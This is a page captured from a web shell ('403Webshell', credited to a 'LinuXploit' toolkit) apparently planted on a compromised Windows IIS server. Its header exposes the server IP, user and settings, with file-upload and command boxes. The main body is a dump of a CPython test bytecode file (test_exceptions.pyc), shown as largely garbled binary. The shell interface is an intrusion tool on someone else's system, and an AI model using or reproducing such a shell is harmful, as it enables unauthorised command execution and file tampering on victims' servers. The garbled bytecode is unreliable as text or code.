403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python313/Lib/test/test_capi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python313/Lib/test/test_capi/__pycache__/test_exceptions.cpython-313.opt-2.pyc
�

��i0V���SSKrSSKrSSKrSSKrSSKrSSKrSSKJr SSKJ	r	 SSK
JrJr SSK
JrJr SSKJr SSKJr \	R("S	5r\	R("S
5rSr"SS\5r"S
S\R45r"SS\R45r"SS\R45r"SS\\R45r\S:Xa\R@"5 gg)�N)�support)�
import_helper)�TESTFN�TESTFN_UNDECODABLE)�assert_python_failure�assert_python_ok)�ExceptionIsLikeMixin�)�
decode_stderr�	_testcapi�_testinternalcapic��\rSrSrSrg)�CustomError��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��3C:\Python313\\Lib\test\test_capi\test_exceptions.pyrrs��rrc�2�\rSrSrSrSrSrSrSrSr	g)	�Test_Exceptions�c��[S5n[S5nUe![a�n[R"5n[
R
U5n[R"5n[
R
U5n[R"5nURXS5 URXQ5 URXE5 URX�5 URXr5 URXg5 SnAgSnAff=f)N�5�TEST)�
ValueError�	TypeError�fail�sys�	exceptionr�
set_exception�assertEqual)	�self�raised_exception�new_exc�e�orig_sys_exception�orig_exception�new_sys_exception�
new_exception�reset_sys_exceptions	         r�test_exception�Test_Exceptions.test_exceptions���%�c�?���F�#��	.�"�"���
	?�!$�����&�4�4�W�=�N� #�
�
���%�3�3�N�C�M�"%�-�-�/�����^�/����^�>����/�@����0�A����]�4����.�>�>��
	?�s��
C=�CC8�8C=c�h�[S5n[S5nUe![GanURn[R
"5n[RURUS5n[R
"5n[R"U6n[R
"5n	URUSU5 URXaRX45 URXV5 URX�5 URX�RUS45 URXx5 SnAgSnAff=f)Nrrr
)r r!�
assertTrue�
__traceback__r#�exc_infor�set_exc_info�	__class__r&�assertSequenceEqual)
r'r(r)r*�tb�orig_sys_exc_info�
orig_exc_info�new_sys_exc_info�new_exc_info�reset_sys_exc_infos
          r�
test_exc_info�Test_Exceptions.test_exc_info2s��%�c�?���F�#��	#�"�"���	E����B� #�����%�2�2�7�3D�3D�g�t�T�M�"�|�|�~��$�1�1�=�A�L�!$��������]�1�-�q�1��$�$�]�5O�5O�Qa�4f�g��$�$�%6�F��$�$�%7�G��$�$�\�4E�4E�w�PT�3U�V��$�$�%5�D�D��	E�s��D1�DD,�,D1c��[R"S5n[SU5nURR	5nURUSS/5 g)Nz�            import _testcapi

            def foo():
                _testcapi.function_set_warning()

            foo()  # line 6


            foo()  # line 9
        �-cs0<string>:6: RuntimeWarning: Testing PyErr_WarnExs0<string>:9: RuntimeWarning: Testing PyErr_WarnEx��textwrap�dedentr�err�
splitlinesr&�r'�code�proc�warningss    r�test_warn_with_stacklevel�)Test_Exceptions.test_warn_with_stacklevelIsP�����
 �

�� ��d�+���8�8�&�&�(������?�?�$
�	rc��[R"S5n[SU5nURR	5nURUS/5 g)Nz�            import _testcapi

            class Foo:
                def foo(self):
                    _testcapi.function_set_warning()
                def __del__(self):
                    self.foo()

            ref = Foo()
        rBs0<string>:7: RuntimeWarning: Testing PyErr_WarnExrCrHs    r�test_warn_during_finalization�-Test_Exceptions.test_warn_during_finalization\sO�����
 �

�� ��d�+���8�8�&�&�(��	
����?�$
�	rc�^�[RnSS[S54HhnURUS9 UR	[5nU"U5 SSS5 URWRRU45 SSS5 Mj g!,(df   NB=f!,(df   M�=f)N�key�r
���arg)rV)r
�_pyerr_setkeyerror�KeyError�subTest�assertRaisesr&r$�args)r'rWrV�cms    r�test__pyerr_setkeyerror�'Test_Exceptions.test__pyerr_setkeyerrorps���.�A�A����
�U�O�
�C����#��&��&�&�x�0�B�'�s�+�	1�
� � ����!2�!2�S�F�;�
'�&�
�1�0��'�&�s#�B�	B�/B�
B�B�
B,	rN)
rrrrr0r?rLrOr]rrrrrrs��.�,#�.�&�(<rrc�L�\rSrSrSSjr\R"5S5rSrg)�Test_FatalError�rc��[R"5 [SSU5upEnSSS5 [W5nUR	SU5 [
R"SU[
R5nU(dURSU<35 [URS5R5RS55n[URS55n	UHn
UR	X�5 M UHn
URX�5 M UR[!U5U	5 g!,(df   GN=f)	Nz-sSIrBz8Fatal Python error: _testcapi_fatal_error_impl: MESSAGE
z,^Extension modules:(.*) \(total: ([0-9]+)\)$z$Cannot find 'Extension modules:' in r
z, rT)r�SuppressCrashReportrr�assertIn�re�search�	MULTILINEr"�set�group�strip�split�int�assertNotInr&�len)r'rI�expected�not_expected�rc�outrF�match�modules�total�names           r�check_fatal_error�!Test_FatalError.check_fatal_error�s���
�
(�
(�
*�0���t�D�L�B�S�+��C� ���
�
�Q��	��	�	�I��r�|�|�-����I�I�<�S�G�D�E��e�k�k�!�n�*�*�,�2�2�4�8�9���E�K�K��N�#���D��M�M�$�(�� �D����T�+�!�����W��u�-�%+�
*�s�D/�/
D>c�b�SnSnSnURX1U5 SnSnSnURX15 g)N)r)r#z8import _testcapi, sys; _testcapi.fatal_error(b"MESSAGE")z�if True:
            import _testcapi, sys
            sys.stdlib_module_names = frozenset({"_testcapi"})
            _testcapi.fatal_error(b"MESSAGE")
        )rw)r'rorprIs    r�test_fatal_error� Test_FatalError.test_fatal_error�sF��"����I�����t�|�<���%����
	
���t�.rN)r)	rrrrrwr�requires_subprocessrzrrrrr`r`�s$��.�*
� � �"�/�#�/rr`c�J�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
g)
�Test_ErrSetAndRestore�c�,�UR[5 [R[55 SSS5 [5n[RU5 g!,(df   N/=f![anUR	X5 SnAgSnAff=f�N)rZr r�err_set_raised�assertIs)r'�v�exs   r�test_err_set_raised�)Test_ErrSetAndRestore.test_err_set_raised�sh��
�
�
�z�
*��$�$�Z�\�2�+��L��	!��$�$�Q�'�	+�
*��
�	!��M�M�!� � ��	!�s#�A�A.�
A+�.
B�8B�Bc�t�UR[5 [R[5 SSS5 UR[5 [R[S5 SSS5 UR[5 [R[SS5 SSS5 UR[5 [R[[55 SSS5 [R[S5 SS- UR[5 [R[SW5 SSS5 UR[5 [R[SS5 SSS5 [R[SW5 g!,(df   GNp=f!,(df   GNJ=f!,(df   GN#=f!,(df   N�=f![a*nURSURS5 SnAGNSnAff=f![anURnSnAGN)SnAff=f!,(df   GN=f!,(df   N�=f![aOnURSURS5 URWURR5 SnAgSnAff=f)Nr
�hir)rZr r�err_restorerXr&r[�	Exceptionr4r!r��tb_next)r'�kr*r9r�s     r�test_err_restore�&Test_ErrSetAndRestore.test_err_restore�s���
�
�
�z�
*��!�!�*�-�+�
�
�
�z�
*��!�!�*�a�0�+�
�
�
�z�
*��!�!�*�a��6�+�
�
�
�z�
*��!�!�*�j�l�;�+�	.��!�!�(�D�1�	!�
�a�C��
�
�z�
*��!�!�*�a��4�+�
�
�
�y�
)��!�!�*�a��3�*�	7��!�!�*�a��4�++�
*��
*�
*��
*�
*��
*�
*���	.����T�1�6�6�!�9�-�-��	.���	!����B��	!��
*�
*��
)�
)���	7����Q����q�	�*��M�M�"�a�o�o�5�5�6�6��	7�s��F�
F+�F=�>#G�*G �H�H;�I
�=I�
F(�+
F:�=
G�
G� 
H�*H�H�
H8�!H3�3H8�;
I
�
I�
J7�(AJ2�2J7c	���UR[5n[R[S5 SSS5 UR	WR
RS5 UR[5n[R[[SSS55 SSS5 UR
RSnURU[5 UR	URS5 UR[5n[R[[S55 SSS5 UR	UR
RS	5 "S
S[5n"SS
[US9nUR[5n[RXD"55 SSS5 g!,(df   GN�=f!,(df   GN)=f!,(df   N�=f!,(df   g=f)N�*)r�r
rTrUrrS�)r�c��\rSrSrSrSrg)�3Test_ErrSetAndRestore.test_set_object.<locals>.Meta��c��SS- g)Nr
rr)�cls�subs  r�__subclasscheck__�ETest_ErrSetAndRestore.test_set_object.<locals>.Meta.__subclasscheck__�s	���!�rrN)rrrrr�rrrr�Metar��s��
rr�c��\rSrSrSrg)�5Test_ErrSetAndRestore.test_set_object.<locals>.Broken��rNrrrr�Brokenr��s��rr�)�	metaclass)rZr r�exc_set_objectr&r$r[r!�assertIsInstance�PermissionError�OSError�typer��ZeroDivisionError)r'r*�wrappedr�r�s     r�test_set_object�%Test_ErrSetAndRestore.test_set_object�s\���
�
�z�
*�a��$�$�Z��4�+�������)�)�5�1��
�
�z�
*�a��$�$�Z��1�Q�q�1A�B�+��+�+�"�"�1�%�����g�y�1�������y�1��
�
��
/�1��$�$�W�o�b�.A�B�0�������)�)�5�1�	�4�	�	�Y�$�	��
�
�0�
1�Q��$�$�V�V�X�6�2�
1�/+�
*��
+�
*��0�
/��2�
1�s/�F*�4&F<�$G�G�*
F9�<
G�
G�
G-c�j�"SS[5n[RUS5nURU[5 URURSS5 "SS5n[RX"55nURU[5 URURSS5 g)	Nc��\rSrSrSrSrg)�?Test_ErrSetAndRestore.test_set_object_and_fetch.<locals>.Broken��c��[S5e)NzBroken __init__)r )r'rVs  r�__init__�HTest_ErrSetAndRestore.test_set_object_and_fetch.<locals>.Broken.__init__�s�� �!2�3�3rrN)rrrrr�rrrrr�r��s��
4rr��abcdrz-Normalization failed: type=Broken args='abcd'c��\rSrSrSrSrg)�?Test_ErrSetAndRestore.test_set_object_and_fetch.<locals>.BadArg�c��[S5e)NzBroken arg type)r!�r's r�__repr__�HTest_ErrSetAndRestore.test_set_object_and_fetch.<locals>.BadArg.__repr__�s��� 1�2�2rrN)rrrrr�rrrr�BadArgr��s��
3rr�z0Normalization failed: type=Broken args=<unknown>)r�r�exc_set_object_fetchr�r r&�	__notes__)r'r��excr�s    r�test_set_object_and_fetch�/Test_ErrSetAndRestore.test_set_object_and_fetch�s���	4�Y�	4��,�,�V�V�<�����c�:�.�������q�)�H�	J�	3�	3��,�,�V�V�X�>�����c�:�.�������q�)�K�	Mrc�x�[RnUR[5nU"[S5 SSS5 UR	WR
RS5 UR[5nU"[SR55 SSS5 UR	UR
RS5 UR[5 U"[S5 SSS5 UR[U[S5 g!,(df   N�=f!,(df   N�=f!,(df   NM=f)N�error)�error�помилка�r���)r�
err_setstringrZr�r&r$r[�encode�UnicodeDecodeError�SystemError�list)r'�	setstringr*s   r�test_set_string�%Test_ErrSetAndRestore.test_set_strings����+�+�	�
�
�
�0�
1�Q��'��2�2�������)�)�:�6�
�
�
�0�
1�Q��'�)9�)@�)@�)B�C�2�������)�)�+>�?�
�
�
�1�
2��'��1�3����+�y�$��A�2�
1��2�
1��3�
2�s#�D	�7D�D+�	
D�
D(�+
D9c	�p�[R"S5 SSKJnJnJnJn Sn[X5nX#4UlX&l	UR[5nU"[SSU"S55 SSS5 URWRRS5 UR[5nU"[S	S
R55 SSS5 URURRS5 UR!["S5 U"[S
U"S55 SSS5 UR![$S5 U"[S5 SSS5 UR[&U[(S5 g!,(df   GN=f!,(df   N�=f!,(df   Nz=f!,(df   N_=f)N�ctypesr)�	pythonapi�	py_object�c_char_p�c_int�PyErr_Formats%s %dr�r�)zerror 42s%sr�r�znot in ranges%c���z
format stringr�)r�
import_moduler�r�r�r�r��getattr�argtypes�restyperZr�r&r$r[r��assertRaisesRegex�
OverflowErrorr r�r�)r'r�r�r�r�rvr�r*s        r�test_format�!Test_ErrSetAndRestore.test_formats@���#�#�H�-�@�@����y�/��!*� 6���(��
�
�
�0�
1�Q��*�H�h��b�	�J�2�������)�)�=�9�
�
�
�0�
1�Q��*�E�3C�3J�3J�3L�M�2�������)�)�+>�?�
�
#�
#�M�>�
B��*�E�5��9�=�C�
�
#�
#�J��
@��*�G�4�A����+�|�T�8�D�2�
1��2�
1��C�
B��
@�
@�s0�E3�,F�
F�F'�3
F�
F�
F$�'
F5c��[Rn[RnUR	[
5nU"U[S5 SSS5 URWRRUS45 URURRU5 URURRS5 UR	[
5nU"U[[R"[55 SSS5 URURR[5 [(anUR	[
5nU"U[[5 SSS5 URURR[R"[55 UR	[
5nU"U[[ 5 SSS5 UR#URR5 UR	[5nU"S[S5 SSS5 URURRS5 URURRS5 URURRS5 UR	[$5nU"U[$S5 SSS5 URURRUSS45 g!,(df   GN�=f!,(df   GN
=f!,(df   GN�=f!,(df   GN^=f!,(df   GN=f!,(df   N�=f)NsfilezNo such file or directory�filer)r�Error)r�err_setfromerrnowithfilename�errno�ENOENTrZ�FileNotFoundErrorr�r&r$r[�filename�os�fsencoderr�fsdecode�NULL�assertIsNoner�)r'�setfromerrnowithfilenamer�r*s    r�test_setfromerrnowithfilename�3Test_ErrSetAndRestore.test_setfromerrnowithfilename-sP��#,�#I�#I� �����
�
�
�0�
1�Q�$�V�W�g�>�2�������)�)� �"=�>�	@�������*�*�F�3�������-�-�v�6�
�
�
�0�
1�Q�$�V�W�b�k�k�&�6I�J�2�������-�-�v�6����"�"�#4�5��(���:L�M�6����Q�[�[�1�1��[�[�);�<�
>��
�
�0�
1�Q�$�V�W�d�;�2����!�+�+�.�.�/�
�
�
�w�
'�1�$�Q���9�(�������)�)�<�8�������*�*�A�.�������-�-�v�6�
�
�
�0�
1�Q�$�V�->��H�2�������)�)� �"=�v�F�	H�;2�
1��2�
1��
6�5��
2�
1��(�
'��2�
1�sG�K1�'L�L�=L'�L9�0M�1
L�
L�
L$�'
L6�9
M�
Mc�D�[RnURRRn[
R"5nU"[S5[5 URURR[5 UR[URR5S5 URURRRUS-5 UR!URR"5 URURR$[5 SSS5 [
R"5nU"[S5[&5 URURR[5 UR[URR5S5 URURRRUS-5 UR!URR"5 UR!URR$5 SSS5 [
R("[*SS5 [
R,"5nU"[S5[5 SSS5 SSS5 WR/5R15nURUSS[<35 URUSS5 URUS	[2S
35 [
R("[*SS5 [
R,"5nU"[S5[&5 SSS5 SSS5 UR/5R15nURUSS5 URUS	[2S
35 g!,(df   GN�=f!,(df   GN�=f!,(df   GNP=f!,(df   GNZ=f!,(df   N�=f!,(df   N�=f)N�oops!���unraisablehookrzException ignored in: r
�"Traceback (most recent call last):r��.CustomError: oops!)r�err_writeunraisable�test_err_writeunraisable�__code__�co_firstlinenor�catch_unraisable_exceptionr�hexr&�
unraisable�exc_type�str�	exc_value�
exc_traceback�	tb_linenor��err_msg�objectr��	swap_attrr#�captured_stderr�getvaluerGr)r'�writeunraisable�	firstliner\�stderr�liness      rr��.Test_ErrSetAndRestore.test_err_writeunraisableRs���#�7�7���1�1�:�:�I�I�	�
�
/�
/�
1�R��K��0�#�6����R�]�]�3�3�[�A����S����!8�!8�9�7�C����R�]�]�8�8�B�B�&��]�
,����b�m�m�3�3�4����R�]�]�1�1�3�7�2��
/�
/�
1�R��K��0�$�7����R�]�]�3�3�[�A����S����!8�!8�9�7�C����R�]�]�8�8�B�B�&��^�
-����b�m�m�3�3�4����b�m�m�2�2�3�2�����%5�t�<��%�%�'�6��K��0�#�6�(�=����!�,�,�.������q��%;�C�7�#C�D�����q��#G�H�����r��x�j�0C�$D�E�����%5�t�<��%�%�'�6��K��0�$�7�(�=����!�,�,�.������q��#G�H�����r��x�j�0C�$D�E�?2�
1��2�
1��(�'��=�<��(�'��=�<�sb�C2N8�C-O
�&O.�<O�O.�+P�P�P�8
O�

O�
O+	�&O.�.
O=�
P	�
P�
Pc���[RnURRRn[
R"5nU"[S5S/5 URURR[5 UR[URR5S5 URURRRUS-5 URURRS5 UR!URR"5 SSS5 [
R"5nU"[S5S5 URURR[5 UR[URR5S5 URURRRUS-5 UR!URR5 UR!URR"5 SSS5 [
R"5nU"[S5[$5 URURR[5 UR[URR5S5 URURRRUS-5 UR!URR5 UR!URR"5 SSS5 [
R&"[(SS5 [
R*"5nU"[S5S/5 SSS5 SSS5 WR-5R/5nURUS	S
5 URUSS5 URUS
[0S35 [
R&"[(SS5 [
R*"5nU"[S5S5 SSS5 SSS5 UR-5R/5nURUS	S5 URUS
[0S35 [
R&"[(SS5 [
R*"5nU"[S5[$5 SSS5 SSS5 UR-5R/5nURUS	S5 URUS
[0S35 g!,(df   GN&=f!,(df   GN2=f!,(df   GN:=f!,(df   GN�=f!,(df   GN=f!,(df   GNi=f!,(df   GNs=f!,(df   N�=f!,(df   N�=f)Nr�sError in %Rr�zError in []s
undecodable �r�r�r�rzError in []:r
r�r�r�)r�err_formatunraisable�test_err_formatunraisabler�r�rr�rr&r�r�r�r�r�r�rr�rr�rr#rrrGr)r'�formatunraisablerr\rrs      rr�/Test_ErrSetAndRestore.test_err_formatunraisable{s5��$�9�9���2�2�;�;�J�J�	�
�
/�
/�
1�R��[��1�>�2�F����R�]�]�3�3�[�A����S����!8�!8�9�7�C����R�]�]�8�8�B�B�&��]�
,����R�]�]�2�2�M�B����b�m�m�2�2�3�2��
/�
/�
1�R��[��1�3F�G����R�]�]�3�3�[�A����S����!8�!8�9�7�C����R�]�]�8�8�B�B�&��^�
-����b�m�m�3�3�4����b�m�m�2�2�3�2��
/�
/�
1�R��[��1�4�8����R�]�]�3�3�[�A����S����!8�!8�9�7�C����R�]�]�8�8�B�B�&��^�
-����b�m�m�3�3�4����b�m�m�2�2�3�2�����%5�t�<��%�%�'�6��[��1�>�2�F�(�=����!�,�,�.������q��\�3�����q��#G�H�����r��x�j�0C�$D�E�����%5�t�<��%�%�'�6��[��1�3F�G�(�=����!�,�,�.������q��#G�H�����r��x�j�0C�$D�E�����%5�t�<��%�%�'�6��[��1�4�8�(�=����!�,�,�.������q��#G�H�����r��x�j�0C�$D�E�_2�
1��2�
1��2�
1��(�'��=�<��(�'��=�<��(�'��=�<�s��C+U�C)U"�C-U4�%V�;V�V�V<�5V*�V<�W�W�0W�
U�"
U1�4
V�
V	�V�
V'�*
V9	�4V<�<
W�
W	�W�
W-rN)rrrrr�r�r�r�r�r�r�r�rrrrrr~r~�s7��!�7�67�:M�&B� E�."H�J$F�R4Frr~c�F^�\rSrSrU4SjrSrSrSrSrSr	Sr
U=r$)	�#Test_PyUnstable_Exc_PrepReraiseStari�c�>�[TU]5 [S[S5[	S5/5e![anXlSnAgSnAff=f)N�egzbad typer�)�super�setUp�ExceptionGroupr!r �orig)r'r*r7s  �rr�)Test_PyUnstable_Exc_PrepReraiseStar.setUp�sC���
��
��	� ��	�*�(=�z�"�~�'N�O�O���	��I�I��	�s� 1�
A�A�Ac	�f�UR[S5 [RSS/5 SSS5 UR[S5 [RURS5 SSS5 UR[S5 [RUR[S5S/5 SSS5 UR[
S5 [R[S5[S5/5 SSS5 UR[
S5 [R[
S[S5/5[S5/5 SSS5 g!,(df   GN4=f!,(df   GN=f!,(df   N�=f!,(df   N�=f!,(df   g=f)Nzorig must be an exceptionr�zexcs must be a listznot an exceptionzorig must be a raised exceptionr)r�r!r�unstable_exc_prep_reraise_starrr rr�s r�test_invalid_args�5Test_PyUnstable_Exc_PrepReraiseStar.test_invalid_args�s:��
�
#�
#�I�/J�
K��4�4�R�$��@�L��
#�
#�I�/D�
E��4�4�T�Y�Y��C�F��
#�
#�I�/A�
B��4�4�T�Y�Y��2��PR�@S�T�C��
#�
#�J�0Q�
R��4�4�Z��^�i�PR�m�_�U�S��
#�
#�J�0Q�
R��4�4�^�D�:�VX�>�JZ�5[�6?��m�_�
F�S�
R�L�
K��F�
E��C�
B��S�
R��S�
R�s;�E�
!E.�,F�*F�5F"�
E+�.
E=�
F�
F�"
F0c��UR[RURS/5S5 [	S5e![anUnSnAOSnAff=fUR[RUS/5S5 g)Nr�)r&rrrr )r'r*rs   r�test_nothing_to_reraise�;Test_PyUnstable_Exc_PrepReraiseStar.test_nothing_to_reraise�sp������4�4�T�Y�Y���G��	O�	��R�.� ���	��D��	������4�4�T�D�6�B�D�	Js�>�
A�A�Ac�j�URn[RX/5nURX!5 gr�)rrr�assertExceptionIsLike)r'r�ress   r�test_reraise_orig�5Test_PyUnstable_Exc_PrepReraiseStar.test_reraise_orig�s+���y�y���6�6�t�V�D���"�"�3�-rc�*�URnUR[5up#X#/U4X2/U4U/U4U/U4/S4/nUHCupVURUS9 [RX5nUR
Xv5 SSS5 ME g!,(df   MW=f)N��input)rrkr!rYrrr )r'rrs�rest�
test_casesr&ror!s        r�test_raise_orig_parts�9Test_PyUnstable_Exc_PrepReraiseStar.test_raise_orig_parts�s����y�y���j�j��+����]�D�!��]�D�!��W�e���V�T�N�
��J�
�
� *�O�E����E��*��>�>�t�K���*�*�3�9�+�*� *�*�*�s�'B�
B	c��URnUR[5up#[S5n[	S5nXBU/[SXA/54X$U/[SXA/54X#U/[SXA/54XEX#/[SXEU/54XBXS/[SXEU/54XSX$/[SXTU/54X5X$/[SXTU/54XEU/[SXEU/54XBU/[SXEU/54X5U/[SXTU/54XE/[SXE/54XT/[SXT/54/nUHCupxUR
US9 [RX5n	URX�5 SSS5 ME g!,(df   MW=f)Nzbad filezbad runtime�r%)
rrkr!r��RuntimeErrorrrYrrr )
r'rrsr'�new1�new2r(r&ror!s
          r�test_raise_with_new_exceptions�BTest_PyUnstable_Exc_PrepReraiseStar.test_raise_with_new_exceptions�s����y�y���j�j��+����z�"���M�*���4�
 �.��d�\�"B�C��4�
 �.��d�\�"B�C��4�
 �.��d�\�"B�C��%�
&��r�D��;M�(N�O��4�
&��r�D��;M�(N�O��%�
&��r�D��;M�(N�O��%�
&��r�D��;M�(N�O��$�
���T��4F�!G�H��4�
 �.��d�%�5H�"I�J��$�
���T��4F�!G�H��\�>�"�t�l�;�<��\�>�"�t�l�;�<�
�
�$",��U����E��*��>�>�t�K���*�*�3�9�+�*�",�*�*�s�'E�
E	)r)rrrrrrrr"r)r0r�
__classcell__)r7s@rrr�s(����F�$	J�.�
:�$:�:rr�__main__)!r�r�rer#�unittestrD�testr�test.supportr�test.support.os_helperrr�test.support.script_helperrr�test.support.testcaser	�	test_miscrr�rr
r�r�r�TestCaserr`r~rr�mainrrr�<module>r=s����	�	�
����&�=�N�6�$�
�'�'��4�	�!�/�/�0C�D����	�)�	�h<�h�'�'�h<�V(/�h�'�'�(/�VF�H�-�-�F�JY:�*>��@Q�@Q�Y:�x�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit